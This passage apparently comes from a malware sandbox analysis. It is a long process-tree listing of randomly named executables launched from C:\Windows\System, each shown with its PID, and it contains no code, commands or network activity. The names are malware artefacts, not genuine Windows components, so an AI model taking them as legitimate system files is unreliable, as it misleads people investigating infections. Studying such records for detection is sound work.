  C:\Windows\System\QzgsNNR.exe
  2⤵
  PID:8124
- C:\Windows\System\HFSeSeJ.exe
  C:\Windows\System\HFSeSeJ.exe
  2⤵
  PID:8148
- C:\Windows\System\WrimsBd.exe
  C:\Windows\System\WrimsBd.exe
  2⤵
  PID:8172
- C:\Windows\System\qrrTJor.exe
  C:\Windows\System\qrrTJor.exe
  2⤵
  PID:6680
- C:\Windows\System\vNpqcyR.exe
  C:\Windows\System\vNpqcyR.exe
  2⤵
  PID:6516
- C:\Windows\System\zUVcuqP.exe
  C:\Windows\System\zUVcuqP.exe
  2⤵
  PID:5808
- C:\Windows\System\ngQJSRS.exe
  C:\Windows\System\ngQJSRS.exe
  2⤵
  PID:2120
- C:\Windows\System\kvRiLhR.exe
  C:\Windows\System\kvRiLhR.exe
  2⤵
  PID:6156
- C:\Windows\System\zGJZYqP.exe
  C:\Windows\System\zGJZYqP.exe
  2⤵
  PID:6312
- C:\Windows\System\OaRvLOc.exe
  C:\Windows\System\OaRvLOc.exe
  2⤵
  PID:6948
- C:\Windows\System\knAJPql.exe
  C:\Windows\System\knAJPql.exe
  2⤵
  PID:7628
- C:\Windows\System\Ipoxhew.exe
  C:\Windows\System\Ipoxhew.exe
  2⤵
  PID:7232
- C:\Windows\System\hGwQxKg.exe
  C:\Windows\System\hGwQxKg.exe
  2⤵
  PID:7108
- C:\Windows\System\KQXgOqt.exe
  C:\Windows\System\KQXgOqt.exe
  2⤵
  PID:5624
- C:\Windows\System\RphYLlu.exe
  C:\Windows\System\RphYLlu.exe
  2⤵
  PID:1400
- C:\Windows\System\HAlkaNZ.exe
  C:\Windows\System\HAlkaNZ.exe
  2⤵
  PID:5468
- C:\Windows\System\bQbFFYE.exe
  C:\Windows\System\bQbFFYE.exe
  2⤵
  PID:5528
- C:\Windows\System\sSFRhGI.exe
  C:\Windows\System\sSFRhGI.exe
  2⤵
  PID:5608
- C:\Windows\System\lcFxGFc.exe
  C:\Windows\System\lcFxGFc.exe
  2⤵
  PID:5724
- C:\Windows\System\VNwmEwE.exe
  C:\Windows\System\VNwmEwE.exe
  2⤵
  PID:5836
- C:\Windows\System\RrVNVeH.exe
  C:\Windows\System\RrVNVeH.exe
  2⤵
  PID:5876
- C:\Windows\System\HHexFOk.exe
  C:\Windows\System\HHexFOk.exe
  2⤵
  PID:6104
- C:\Windows\System\dMShWLP.exe
  C:\Windows\System\dMShWLP.exe
  2⤵
  PID:6432
- C:\Windows\System\FAnOcOi.exe
  C:\Windows\System\FAnOcOi.exe
  2⤵
  PID:7996
- C:\Windows\System\ehczAkQ.exe
  C:\Windows\System\ehczAkQ.exe
  2⤵
  PID:7656
- C:\Windows\System\ScNaTDI.exe
  C:\Windows\System\ScNaTDI.exe
  2⤵
  PID:8188
- C:\Windows\System\faslqgC.exe
  C:\Windows\System\faslqgC.exe
  2⤵
  PID:8216
- C:\Windows\System\lvmSuzQ.exe
  C:\Windows\System\lvmSuzQ.exe
  2⤵
  PID:8304
- C:\Windows\System\JBMoDwP.exe
  C:\Windows\System\JBMoDwP.exe
  2⤵
  PID:8324
- C:\Windows\System\uqbQTrL.exe
  C:\Windows\System\uqbQTrL.exe
  2⤵
  PID:8340
- C:\Windows\System\OdGdYIW.exe
  C:\Windows\System\OdGdYIW.exe
  2⤵
  PID:8364
- C:\Windows\System\ZCVtOQZ.exe
  C:\Windows\System\ZCVtOQZ.exe
  2⤵
  PID:8384
- C:\Windows\System\xFyPLvL.exe
  C:\Windows\System\xFyPLvL.exe
  2⤵
  PID:8408
- C:\Windows\System\ecXenGs.exe
  C:\Windows\System\ecXenGs.exe
  2⤵
  PID:8424
- C:\Windows\System\qpupJQw.exe
  C:\Windows\System\qpupJQw.exe
  2⤵
  PID:8448
- C:\Windows\System\rDYyvCl.exe
  C:\Windows\System\rDYyvCl.exe
  2⤵
  PID:8472
- C:\Windows\System\TdfOWTV.exe
  C:\Windows\System\TdfOWTV.exe
  2⤵
  PID:8496
- C:\Windows\System\aXlzeKy.exe
  C:\Windows\System\aXlzeKy.exe
  2⤵
  PID:8520
- C:\Windows\System\uJBzXFn.exe
  C:\Windows\System\uJBzXFn.exe
  2⤵
  PID:8536
- C:\Windows\System\iAxTkHL.exe
  C:\Windows\System\iAxTkHL.exe
  2⤵
  PID:8560
- C:\Windows\System\fnnHjdI.exe
  C:\Windows\System\fnnHjdI.exe
  2⤵
  PID:8580
- C:\Windows\System\fgkMgIU.exe
  C:\Windows\System\fgkMgIU.exe
  2⤵
  PID:8604
- C:\Windows\System\FnEpsxe.exe
  C:\Windows\System\FnEpsxe.exe
  2⤵
  PID:8864
- C:\Windows\System\gESUJDD.exe
  C:\Windows\System\gESUJDD.exe
  2⤵
  PID:8908
- C:\Windows\System\BSwZdzY.exe
  C:\Windows\System\BSwZdzY.exe
  2⤵
  PID:8936
- C:\Windows\System\ZFLWGrr.exe
  C:\Windows\System\ZFLWGrr.exe
  2⤵
  PID:8952
- C:\Windows\System\MrDqnKo.exe
  C:\Windows\System\MrDqnKo.exe
  2⤵
  PID:8984
- C:\Windows\System\QWEivjI.exe
  C:\Windows\System\QWEivjI.exe
  2⤵
  PID:9000
- C:\Windows\System\MpcodwV.exe
  C:\Windows\System\MpcodwV.exe
  2⤵
  PID:9020
- C:\Windows\System\PqCyzsL.exe
  C:\Windows\System\PqCyzsL.exe
  2⤵
  PID:9084
- C:\Windows\System\uSLQEjl.exe
  C:\Windows\System\uSLQEjl.exe
  2⤵
  PID:9100
- C:\Windows\System\iXtXHcy.exe
  C:\Windows\System\iXtXHcy.exe
  2⤵
  PID:9124
- C:\Windows\System\SPhSqYX.exe
  C:\Windows\System\SPhSqYX.exe
  2⤵
  PID:9180
- C:\Windows\System\rtBRHtj.exe
  C:\Windows\System\rtBRHtj.exe
  2⤵
  PID:9204
- C:\Windows\System\LJjnQzQ.exe
  C:\Windows\System\LJjnQzQ.exe
  2⤵
  PID:4860
- C:\Windows\System\TlGkXVr.exe
  C:\Windows\System\TlGkXVr.exe
  2⤵
  PID:7444
- C:\Windows\System\lvbvuch.exe
  C:\Windows\System\lvbvuch.exe
  2⤵
  PID:7268
- C:\Windows\System\VLxEKTw.exe
  C:\Windows\System\VLxEKTw.exe
  2⤵
  PID:7180
- C:\Windows\System\ADXBBsx.exe
  C:\Windows\System\ADXBBsx.exe
  2⤵
  PID:6556
- C:\Windows\System\ZSAEXRm.exe
  C:\Windows\System\ZSAEXRm.exe
  2⤵
  PID:6408
- C:\Windows\System\qThDtAP.exe
  C:\Windows\System\qThDtAP.exe
  2⤵
  PID:1668
- C:\Windows\System\mAXbGwn.exe
  C:\Windows\System\mAXbGwn.exe
  2⤵
  PID:7604
- C:\Windows\System\wQOXMyV.exe
  C:\Windows\System\wQOXMyV.exe
  2⤵
  PID:6640
- C:\Windows\System\SJxyATy.exe
  C:\Windows\System\SJxyATy.exe
  2⤵
  PID:4248
- C:\Windows\System\BDARHwW.exe
  C:\Windows\System\BDARHwW.exe
  2⤵
  PID:5156
- C:\Windows\System\wujIQRQ.exe
  C:\Windows\System\wujIQRQ.exe
  2⤵
  PID:5548
- C:\Windows\System\JzQPOPY.exe
  C:\Windows\System\JzQPOPY.exe
  2⤵
  PID:8056
- C:\Windows\System\BHhlcNP.exe
  C:\Windows\System\BHhlcNP.exe
  2⤵
  PID:7612
- C:\Windows\System\EiMboSM.exe
  C:\Windows\System\EiMboSM.exe
  2⤵
  PID:7744
- C:\Windows\System\Lmqeyjb.exe
  C:\Windows\System\Lmqeyjb.exe
  2⤵
  PID:7692
- C:\Windows\System\KvkhrRx.exe
  C:\Windows\System\KvkhrRx.exe
  2⤵
  PID:7772
- C:\Windows\System\WuwxLwL.exe
  C:\Windows\System\WuwxLwL.exe
  2⤵
  PID:7808
- C:\Windows\System\DqWSsyI.exe
  C:\Windows\System\DqWSsyI.exe
  2⤵
  PID:7860
- C:\Windows\System\qznyJsg.exe
  C:\Windows\System\qznyJsg.exe
  2⤵
  PID:7904
- C:\Windows\System\EMOtuQh.exe
  C:\Windows\System\EMOtuQh.exe
  2⤵
  PID:7948
- C:\Windows\System\eIgDhJV.exe
  C:\Windows\System\eIgDhJV.exe
  2⤵
  PID:7208
- C:\Windows\System\RpUWFwH.exe
  C:\Windows\System\RpUWFwH.exe
  2⤵
  PID:5964
- C:\Windows\System\mmICzAA.exe
  C:\Windows\System\mmICzAA.exe
  2⤵
  PID:8588
- C:\Windows\System\ufndwOK.exe
  C:\Windows\System\ufndwOK.exe
  2⤵
  PID:8144
- C:\Windows\System\OTXajgf.exe
  C:\Windows\System\OTXajgf.exe
  2⤵
  PID:6636
- C:\Windows\System\LBjfqRo.exe
  C:\Windows\System\LBjfqRo.exe
  2⤵
  PID:8464
- C:\Windows\System\ijkrHmU.exe
  C:\Windows\System\ijkrHmU.exe
  2⤵
  PID:8532
- C:\Windows\System\SGdNknZ.exe
  C:\Windows\System\SGdNknZ.exe
  2⤵
  PID:8612
- C:\Windows\System\laAAjOI.exe
  C:\Windows\System\laAAjOI.exe
  2⤵
  PID:8920
- C:\Windows\System\mjsBPds.exe
  C:\Windows\System\mjsBPds.exe
  2⤵
  PID:8968
- C:\Windows\System\QZlDhrk.exe
  C:\Windows\System\QZlDhrk.exe
  2⤵
  PID:8280
- C:\Windows\System\dFhegKX.exe
  C:\Windows\System\dFhegKX.exe
  2⤵
  PID:8300
- C:\Windows\System\DOuueck.exe
  C:\Windows\System\DOuueck.exe
  2⤵
  PID:8352
- C:\Windows\System\ytzfEZK.exe
  C:\Windows\System\ytzfEZK.exe
  2⤵
  PID:8776
- C:\Windows\System\bNMYwem.exe
  C:\Windows\System\bNMYwem.exe
  2⤵
  PID:6292
- C:\Windows\System\qMGTrYP.exe
  C:\Windows\System\qMGTrYP.exe
  2⤵
  PID:8512
- C:\Windows\System\VLhxWhO.exe
  C:\Windows\System\VLhxWhO.exe
  2⤵
  PID:6048
- C:\Windows\System\oHMMxuo.exe
  C:\Windows\System\oHMMxuo.exe
  2⤵
  PID:7672
- C:\Windows\System\ufdvHvF.exe
  C:\Windows\System\ufdvHvF.exe
  2⤵
  PID:8636
- C:\Windows\System\WrfkSED.exe
  C:\Windows\System\WrfkSED.exe
  2⤵
  PID:9032
- C:\Windows\System\dQJWLrD.exe
  C:\Windows\System\dQJWLrD.exe
  2⤵
  PID:6100
- C:\Windows\System\WmYQbZL.exe
  C:\Windows\System\WmYQbZL.exe
  2⤵
  PID:9236
- C:\Windows\System\QpRCeid.exe
  C:\Windows\System\QpRCeid.exe
  2⤵
  PID:9260
- C:\Windows\System\dtjXvZF.exe
  C:\Windows\System\dtjXvZF.exe
  2⤵
  PID:9280
- C:\Windows\System\eHPuDwT.exe
  C:\Windows\System\eHPuDwT.exe
  2⤵
  PID:9304
- C:\Windows\System\KTxYZmi.exe
  C:\Windows\System\KTxYZmi.exe
  2⤵
  PID:9324
- C:\Windows\System\TOTdIFd.exe
  C:\Windows\System\TOTdIFd.exe
  2⤵
  PID:9344
- C:\Windows\System\ThpAfoy.exe
  C:\Windows\System\ThpAfoy.exe
  2⤵
  PID:9364
- C:\Windows\System\bWPnXOG.exe
  C:\Windows\System\bWPnXOG.exe
  2⤵
  PID:9384
- C:\Windows\System\zCghjRB.exe
  C:\Windows\System\zCghjRB.exe
  2⤵
  PID:9404
- C:\Windows\System\OSAcRiz.exe
  C:\Windows\System\OSAcRiz.exe
  2⤵
  PID:9420
- C:\Windows\System\lxDJZsE.exe
  C:\Windows\System\lxDJZsE.exe
  2⤵
  PID:9440
- C:\Windows\System\hZYuQNz.exe
  C:\Windows\System\hZYuQNz.exe
  2⤵
  PID:9460
- C:\Windows\System\popZbVk.exe
  C:\Windows\System\popZbVk.exe
  2⤵
  PID:9484
- C:\Windows\System\YSfRMAm.exe
  C:\Windows\System\YSfRMAm.exe
  2⤵
  PID:9508
- C:\Windows\System\eVRmpTJ.exe
  C:\Windows\System\eVRmpTJ.exe
  2⤵
  PID:9524
- C:\Windows\System\DCwEqot.exe
  C:\Windows\System\DCwEqot.exe
  2⤵
  PID:9548
- C:\Windows\System\pLipPID.exe
  C:\Windows\System\pLipPID.exe
  2⤵
  PID:9576
- C:\Windows\System\aEpzShH.exe
  C:\Windows\System\aEpzShH.exe
  2⤵
  PID:9600
- C:\Windows\System\WWPmHhb.exe
  C:\Windows\System\WWPmHhb.exe
  2⤵
  PID:9616
- C:\Windows\System\moJfTfD.exe
  C:\Windows\System\moJfTfD.exe
  2⤵
  PID:9640
- C:\Windows\System\lWPjbKP.exe
  C:\Windows\System\lWPjbKP.exe
  2⤵
  PID:9664
- C:\Windows\System\BjqqBcZ.exe
  C:\Windows\System\BjqqBcZ.exe
  2⤵
  PID:9684
- C:\Windows\System\KLJgcNE.exe
  C:\Windows\System\KLJgcNE.exe
  2⤵
  PID:9708
- C:\Windows\System\NKNieTJ.exe
  C:\Windows\System\NKNieTJ.exe
  2⤵
  PID:9728
- C:\Windows\System\MyKVzpf.exe
  C:\Windows\System\MyKVzpf.exe
  2⤵
  PID:9752
- C:\Windows\System\jFmCite.exe
  C:\Windows\System\jFmCite.exe
  2⤵
  PID:9788
- C:\Windows\System\QyyGcWF.exe
  C:\Windows\System\QyyGcWF.exe
  2⤵
  PID:9832
- C:\Windows\System\okxfuVb.exe
  C:\Windows\System\okxfuVb.exe
  2⤵
  PID:9852
- C:\Windows\System\tpFRkaZ.exe
  C:\Windows\System\tpFRkaZ.exe
  2⤵
  PID:9872
- C:\Windows\System\VLMsWAi.exe
  C:\Windows\System\VLMsWAi.exe
  2⤵
  PID:9912
- C:\Windows\System\ppcFDmw.exe
  C:\Windows\System\ppcFDmw.exe
  2⤵
  PID:9932
- C:\Windows\System\KIzmjcS.exe
  C:\Windows\System\KIzmjcS.exe
  2⤵
  PID:9948
- C:\Windows\System\kQsYiMU.exe
  C:\Windows\System\kQsYiMU.exe
  2⤵
  PID:9968
- C:\Windows\System\uWJWpRK.exe
  C:\Windows\System\uWJWpRK.exe
  2⤵
  PID:9984
- C:\Windows\System\madDDYp.exe
  C:\Windows\System\madDDYp.exe
  2⤵
  PID:10004
- C:\Windows\System\cbpzkby.exe
  C:\Windows\System\cbpzkby.exe
  2⤵
  PID:10024
- C:\Windows\System\ZuoFSjt.exe
  C:\Windows\System\ZuoFSjt.exe
  2⤵
  PID:10044
- C:\Windows\System\henHfMs.exe
  C:\Windows\System\henHfMs.exe
  2⤵
  PID:10072
- C:\Windows\System\AJGqKnc.exe
  C:\Windows\System\AJGqKnc.exe
  2⤵
  PID:10088
- C:\Windows\System\fzdGCaH.exe
  C:\Windows\System\fzdGCaH.exe
  2⤵
  PID:10116
- C:\Windows\System\uTVdzSh.exe
  C:\Windows\System\uTVdzSh.exe
  2⤵
  PID:10132
- C:\Windows\System\jLDCBde.exe
  C:\Windows\System\jLDCBde.exe
  2⤵
  PID:10156
- C:\Windows\System\ZqrhtFB.exe
  C:\Windows\System\ZqrhtFB.exe
  2⤵
  PID:10176
- C:\Windows\System\pytxeeh.exe
  C:\Windows\System\pytxeeh.exe
  2⤵
  PID:10196
- C:\Windows\System\BMSsTbI.exe
  C:\Windows\System\BMSsTbI.exe
  2⤵
  PID:10220
- C:\Windows\System\opVDtpZ.exe
  C:\Windows\System\opVDtpZ.exe
  2⤵
  PID:5688
- C:\Windows\System\wJunqrx.exe
  C:\Windows\System\wJunqrx.exe
  2⤵
  PID:8820
- C:\Windows\System\aktPkbe.exe
  C:\Windows\System\aktPkbe.exe
  2⤵
  PID:7844
- C:\Windows\System\SknPGTA.exe
  C:\Windows\System\SknPGTA.exe
  2⤵
  PID:2088
- C:\Windows\System\NlPCfIq.exe
  C:\Windows\System\NlPCfIq.exe
  2⤵
  PID:9072
- C:\Windows\System\Ccxcnxn.exe
  C:\Windows\System\Ccxcnxn.exe
  2⤵
  PID:9112
- C:\Windows\System\hLRPTun.exe
  C:\Windows\System\hLRPTun.exe
  2⤵
  PID:9156
- C:\Windows\System\vLxLUnY.exe
  C:\Windows\System\vLxLUnY.exe
  2⤵
  PID:6576
- C:\Windows\System\jkzydQt.exe
  C:\Windows\System\jkzydQt.exe
  2⤵
  PID:7596
- C:\Windows\System\WdZQLCG.exe
  C:\Windows\System\WdZQLCG.exe
  2⤵
  PID:636
- C:\Windows\System\oFdpRef.exe
  C:\Windows\System\oFdpRef.exe
  2⤵
  PID:6760
- C:\Windows\System\rbmdJlY.exe
  C:\Windows\System\rbmdJlY.exe
  2⤵
  PID:8356
- C:\Windows\System\ndvrfzk.exe
  C:\Windows\System\ndvrfzk.exe
  2⤵
  PID:2676
- C:\Windows\System\TAfyAva.exe
  C:\Windows\System\TAfyAva.exe
  2⤵
  PID:7228
- C:\Windows\System\Ojckglj.exe
  C:\Windows\System\Ojckglj.exe
  2⤵
  PID:3308
- C:\Windows\System\zIJMkBD.exe
  C:\Windows\System\zIJMkBD.exe
  2⤵
  PID:1468
- C:\Windows\System\UxiyIzh.exe
  C:\Windows\System\UxiyIzh.exe
  2⤵
  PID:9540
- C:\Windows\System\XTJcrdb.exe
  C:\Windows\System\XTJcrdb.exe
  2⤵
  PID:8616
- C:\Windows\System\rQkNgmr.exe
  C:\Windows\System\rQkNgmr.exe
  2⤵
  PID:9660
- C:\Windows\System\uRJmceE.exe
  C:\Windows\System\uRJmceE.exe
  2⤵
  PID:9772
- C:\Windows\System\KZcnorh.exe
  C:\Windows\System\KZcnorh.exe
  2⤵
  PID:5508
- C:\Windows\System\BqEEsOa.exe
  C:\Windows\System\BqEEsOa.exe
  2⤵
  PID:10272
- C:\Windows\System\JnTTNPw.exe
  C:\Windows\System\JnTTNPw.exe
  2⤵
  PID:10308
- C:\Windows\System\AhoruOz.exe
  C:\Windows\System\AhoruOz.exe
  2⤵
  PID:10328
- C:\Windows\System\auZymUU.exe
  C:\Windows\System\auZymUU.exe
  2⤵
  PID:10344
- C:\Windows\System\bFpcsgF.exe
  C:\Windows\System\bFpcsgF.exe
  2⤵
  PID:10368
- C:\Windows\System\SxItDwe.exe
  C:\Windows\System\SxItDwe.exe
  2⤵
  PID:10384
- C:\Windows\System\RmjtqcM.exe
  C:\Windows\System\RmjtqcM.exe
  2⤵
  PID:10404
- C:\Windows\System\IQmoFdZ.exe
  C:\Windows\System\IQmoFdZ.exe
  2⤵
  PID:10428
- C:\Windows\System\zoCYmrP.exe
  C:\Windows\System\zoCYmrP.exe
  2⤵
  PID:10464
- C:\Windows\System\FQEcoZn.exe
  C:\Windows\System\FQEcoZn.exe
  2⤵
  PID:10488
- C:\Windows\System\FPnKuWQ.exe
  C:\Windows\System\FPnKuWQ.exe
  2⤵
  PID:10508
- C:\Windows\System\hwjfRxP.exe
  C:\Windows\System\hwjfRxP.exe
  2⤵
  PID:10524
- C:\Windows\System\LPVGZup.exe
  C:\Windows\System\LPVGZup.exe
  2⤵
  PID:10540
- C:\Windows\System\NEPQFQK.exe
  C:\Windows\System\NEPQFQK.exe
  2⤵
  PID:10564
- C:\Windows\System\djTkSbC.exe
  C:\Windows\System\djTkSbC.exe
  2⤵
  PID:10588
- C:\Windows\System\wteEnPT.exe
  C:\Windows\System\wteEnPT.exe
  2⤵
  PID:10608
- C:\Windows\System\FMHbyjO.exe
  C:\Windows\System\FMHbyjO.exe
  2⤵
  PID:10628
- C:\Windows\System\rkDvoow.exe
  C:\Windows\System\rkDvoow.exe
  2⤵
  PID:10648
- C:\Windows\System\QkStqnH.exe
  C:\Windows\System\QkStqnH.exe
  2⤵
  PID:10668
- C:\Windows\System\inpFkfd.exe
  C:\Windows\System\inpFkfd.exe
  2⤵
  PID:10688
- C:\Windows\System\hxcWrof.exe
  C:\Windows\System\hxcWrof.exe
  2⤵
  PID:10716
- C:\Windows\System\JveCsYt.exe
  C:\Windows\System\JveCsYt.exe
  2⤵
  PID:10736
- C:\Windows\System\szQVLZu.exe
  C:\Windows\System\szQVLZu.exe
  2⤵
  PID:10756
- C:\Windows\System\yrUBAcr.exe
  C:\Windows\System\yrUBAcr.exe
  2⤵
  PID:10780
- C:\Windows\System\KHIJHni.exe
  C:\Windows\System\KHIJHni.exe
  2⤵
  PID:10796
- C:\Windows\System\GuvDPoY.exe
  C:\Windows\System\GuvDPoY.exe
  2⤵
  PID:10820
- C:\Windows\System\AOHcRaK.exe
  C:\Windows\System\AOHcRaK.exe
  2⤵
  PID:10840
- C:\Windows\System\jUpMzYG.exe
  C:\Windows\System\jUpMzYG.exe
  2⤵
  PID:10860
- C:\Windows\System\NmKzhUq.exe
  C:\Windows\System\NmKzhUq.exe
  2⤵
  PID:10880
- C:\Windows\System\VRENCRs.exe
  C:\Windows\System\VRENCRs.exe
  2⤵
  PID:10904
- C:\Windows\System\pXLaEjP.exe
  C:\Windows\System\pXLaEjP.exe
  2⤵
  PID:10928
- C:\Windows\System\kmlRjHI.exe
  C:\Windows\System\kmlRjHI.exe
  2⤵
  PID:10944
- C:\Windows\System\iOpJBtQ.exe
  C:\Windows\System\iOpJBtQ.exe
  2⤵
  PID:10964
- C:\Windows\System\LfSqQoZ.exe
  C:\Windows\System\LfSqQoZ.exe
  2⤵
  PID:10984
- C:\Windows\System\tCZAmWF.exe
  C:\Windows\System\tCZAmWF.exe
  2⤵
  PID:11016
- C:\Windows\System\RXibzIe.exe
  C:\Windows\System\RXibzIe.exe
  2⤵
  PID:11040
- C:\Windows\System\PbmbvfZ.exe
  C:\Windows\System\PbmbvfZ.exe
  2⤵
  PID:11060
- C:\Windows\System\FJiWWgY.exe
  C:\Windows\System\FJiWWgY.exe
  2⤵
  PID:11076
- C:\Windows\System\EXQOTRo.exe
  C:\Windows\System\EXQOTRo.exe
  2⤵
  PID:11096
- C:\Windows\System\rTzWwvk.exe
  C:\Windows\System\rTzWwvk.exe
  2⤵
  PID:11112
- C:\Windows\System\gyAyYKa.exe
  C:\Windows\System\gyAyYKa.exe
  2⤵
  PID:11132
- C:\Windows\System\jwsDChg.exe
  C:\Windows\System\jwsDChg.exe
  2⤵
  PID:11152
- C:\Windows\System\dNdurQx.exe
  C:\Windows\System\dNdurQx.exe
  2⤵
  PID:11172
- C:\Windows\System\UfcKSWy.exe
  C:\Windows\System\UfcKSWy.exe
  2⤵
  PID:11192
- C:\Windows\System\haiinDu.exe
  C:\Windows\System\haiinDu.exe
  2⤵
  PID:11260
- C:\Windows\System\wKtmpZK.exe
  C:\Windows\System\wKtmpZK.exe
  2⤵
  PID:8204
- C:\Windows\System\zdVpTQS.exe
  C:\Windows\System\zdVpTQS.exe
  2⤵
  PID:9300
- C:\Windows\System\YhMJhLP.exe
  C:\Windows\System\YhMJhLP.exe
  2⤵
  PID:9944
- C:\Windows\System\MJMyCvW.exe
  C:\Windows\System\MJMyCvW.exe
  2⤵
  PID:9336
- C:\Windows\System\yHzumQK.exe
  C:\Windows\System\yHzumQK.exe
  2⤵
  PID:9352
- C:\Windows\System\cfWZOyn.exe
  C:\Windows\System\cfWZOyn.exe
  2⤵
  PID:7424
- C:\Windows\System\NdMRBQQ.exe
  C:\Windows\System\NdMRBQQ.exe
  2⤵
  PID:8860
- C:\Windows\System\XoOSMcx.exe
  C:\Windows\System\XoOSMcx.exe
  2⤵
  PID:9476
- C:\Windows\System\LRyuIXr.exe
  C:\Windows\System\LRyuIXr.exe
  2⤵
  PID:7920
- C:\Windows\System\beEjalA.exe
  C:\Windows\System\beEjalA.exe
  2⤵
  PID:9624
- C:\Windows\System\AMUuABE.exe
  C:\Windows\System\AMUuABE.exe
  2⤵
  PID:9720
- C:\Windows\System\OtnJCGy.exe
  C:\Windows\System\OtnJCGy.exe
  2⤵
  PID:7828
- C:\Windows\System\uPlEMKj.exe
  C:\Windows\System\uPlEMKj.exe
  2⤵
  PID:9560
- C:\Windows\System\OtntWxu.exe
  C:\Windows\System\OtntWxu.exe
  2⤵
  PID:9248
- C:\Windows\System\RxLvMqR.exe
  C:\Windows\System\RxLvMqR.exe
  2⤵
  PID:3704
- C:\Windows\System\ocUFZwv.exe
  C:\Windows\System\ocUFZwv.exe
  2⤵
  PID:2604
- C:\Windows\System\GuvUBcn.exe
  C:\Windows\System\GuvUBcn.exe
  2⤵
  PID:10380
- C:\Windows\System\RlyUIzC.exe
  C:\Windows\System\RlyUIzC.exe
  2⤵
  PID:10532
- C:\Windows\System\IJYATxE.exe
  C:\Windows\System\IJYATxE.exe
  2⤵
  PID:9416
- C:\Windows\System\AxvwaPh.exe
  C:\Windows\System\AxvwaPh.exe
  2⤵
  PID:8556
- C:\Windows\System\BulgVRh.exe
  C:\Windows\System\BulgVRh.exe
  2⤵
  PID:11288
- C:\Windows\System\THXKhzH.exe
  C:\Windows\System\THXKhzH.exe
  2⤵
  PID:11308
- C:\Windows\System\bVuBZyx.exe
  C:\Windows\System\bVuBZyx.exe
  2⤵
  PID:11332
- C:\Windows\System\wVnakTW.exe
  C:\Windows\System\wVnakTW.exe
  2⤵
  PID:11352
- C:\Windows\System\cXgfHaw.exe
  C:\Windows\System\cXgfHaw.exe
  2⤵
  PID:11380
- C:\Windows\System\Fkqgioj.exe
  C:\Windows\System\Fkqgioj.exe
  2⤵
  PID:11404
- C:\Windows\System\fWJcnGn.exe
  C:\Windows\System\fWJcnGn.exe
  2⤵
  PID:11424
- C:\Windows\System\YRklDqP.exe
  C:\Windows\System\YRklDqP.exe
  2⤵
  PID:11448
- C:\Windows\System\eQxDbrd.exe
  C:\Windows\System\eQxDbrd.exe
  2⤵
  PID:11476
- C:\Windows\System\ZYabrYi.exe
  C:\Windows\System\ZYabrYi.exe
  2⤵
  PID:11492
- C:\Windows\System\QlWwXCR.exe
  C:\Windows\System\QlWwXCR.exe
  2⤵
  PID:11516
- C:\Windows\System\xAJzriV.exe
  C:\Windows\System\xAJzriV.exe
  2⤵
  PID:11540
- C:\Windows\System\ADlDspp.exe
  C:\Windows\System\ADlDspp.exe
  2⤵
  PID:11556
- C:\Windows\System\TkPGYKe.exe
  C:\Windows\System\TkPGYKe.exe
  2⤵
  PID:11576
- C:\Windows\System\jqfNWDG.exe
  C:\Windows\System\jqfNWDG.exe
  2⤵
  PID:11600
- C:\Windows\System\OzJmpJe.exe
  C:\Windows\System\OzJmpJe.exe
  2⤵
  PID:11620
- C:\Windows\System\rMqtcuI.exe
  C:\Windows\System\rMqtcuI.exe
  2⤵
  PID:11644
- C:\Windows\System\DdmHAlF.exe
  C:\Windows\System\DdmHAlF.exe
  2⤵
  PID:11664
- C:\Windows\System\dtUKSJG.exe
  C:\Windows\System\dtUKSJG.exe
  2⤵
  PID:11688
- C:\Windows\System\YrAtTtF.exe
  C:\Windows\System\YrAtTtF.exe
  2⤵
  PID:11708
- C:\Windows\System\PXvlDVO.exe
  C:\Windows\System\PXvlDVO.exe
  2⤵
  PID:11732
- C:\Windows\System\vRJXMFX.exe
  C:\Windows\System\vRJXMFX.exe
  2⤵
  PID:11764
- C:\Windows\System\JYjpURr.exe
  C:\Windows\System\JYjpURr.exe
  2⤵
  PID:11780
- C:\Windows\System\iNmbXEV.exe
  C:\Windows\System\iNmbXEV.exe
  2⤵
  PID:11804
- C:\Windows\System\NvWXGAv.exe
  C:\Windows\System\NvWXGAv.exe
  2⤵
  PID:11824
- C:\Windows\System\LahDYnP.exe
  C:\Windows\System\LahDYnP.exe
  2⤵
  PID:11840
- C:\Windows\System\jTYGITn.exe
  C:\Windows\System\jTYGITn.exe
  2⤵
  PID:11860
- C:\Windows\System\SGmKAAP.exe
  C:\Windows\System\SGmKAAP.exe
  2⤵
  PID:11884
- C:\Windows\System\SrYqpxI.exe
  C:\Windows\System\SrYqpxI.exe
  2⤵
  PID:11908
- C:\Windows\System\soVbHWv.exe
  C:\Windows\System\soVbHWv.exe
  2⤵
  PID:11924
- C:\Windows\System\SKtVcKt.exe
  C:\Windows\System\SKtVcKt.exe
  2⤵
  PID:11940
- C:\Windows\System\fcAiPNT.exe
  C:\Windows\System\fcAiPNT.exe
  2⤵
  PID:11960
- C:\Windows\System\HWIdJWL.exe
  C:\Windows\System\HWIdJWL.exe
  2⤵
  PID:11988
- C:\Windows\System\mlvYwKU.exe
  C:\Windows\System\mlvYwKU.exe
  2⤵
  PID:12008
- C:\Windows\System\vWEObxp.exe
  C:\Windows\System\vWEObxp.exe
  2⤵
  PID:12064
- C:\Windows\System\WsahakS.exe
  C:\Windows\System\WsahakS.exe
  2⤵
  PID:12088
- C:\Windows\System\GldIuue.exe
  C:\Windows\System\GldIuue.exe
  2⤵
  PID:12112
- C:\Windows\System\DTKCPMo.exe
  C:\Windows\System\DTKCPMo.exe
  2⤵
  PID:12128
- C:\Windows\System\MWtPFqB.exe
  C:\Windows\System\MWtPFqB.exe
  2⤵
  PID:12144
- C:\Windows\System\SobrnfZ.exe
  C:\Windows\System\SobrnfZ.exe
  2⤵
  PID:12160
- C:\Windows\System\OBnTXab.exe
  C:\Windows\System\OBnTXab.exe
  2⤵
  PID:12180
- C:\Windows\System\RXoaOfl.exe
  C:\Windows\System\RXoaOfl.exe
  2⤵
  PID:12204
- C:\Windows\System\quSwQml.exe
  C:\Windows\System\quSwQml.exe
  2⤵
  PID:12220
- C:\Windows\System\TcTZboT.exe
  C:\Windows\System\TcTZboT.exe
  2⤵
  PID:12248
- C:\Windows\System\xehNuLP.exe
  C:\Windows\System\xehNuLP.exe
  2⤵
  PID:12276
- C:\Windows\System\BnLXfsk.exe
  C:\Windows\System\BnLXfsk.exe
  2⤵
  PID:7900
- C:\Windows\System\nyqgZow.exe
  C:\Windows\System\nyqgZow.exe
  2⤵
  PID:10680
- C:\Windows\System\kPCThAT.exe
  C:\Windows\System\kPCThAT.exe
  2⤵
  PID:9452
- C:\Windows\System\OTqBSbb.exe
  C:\Windows\System\OTqBSbb.exe
  2⤵
  PID:7436
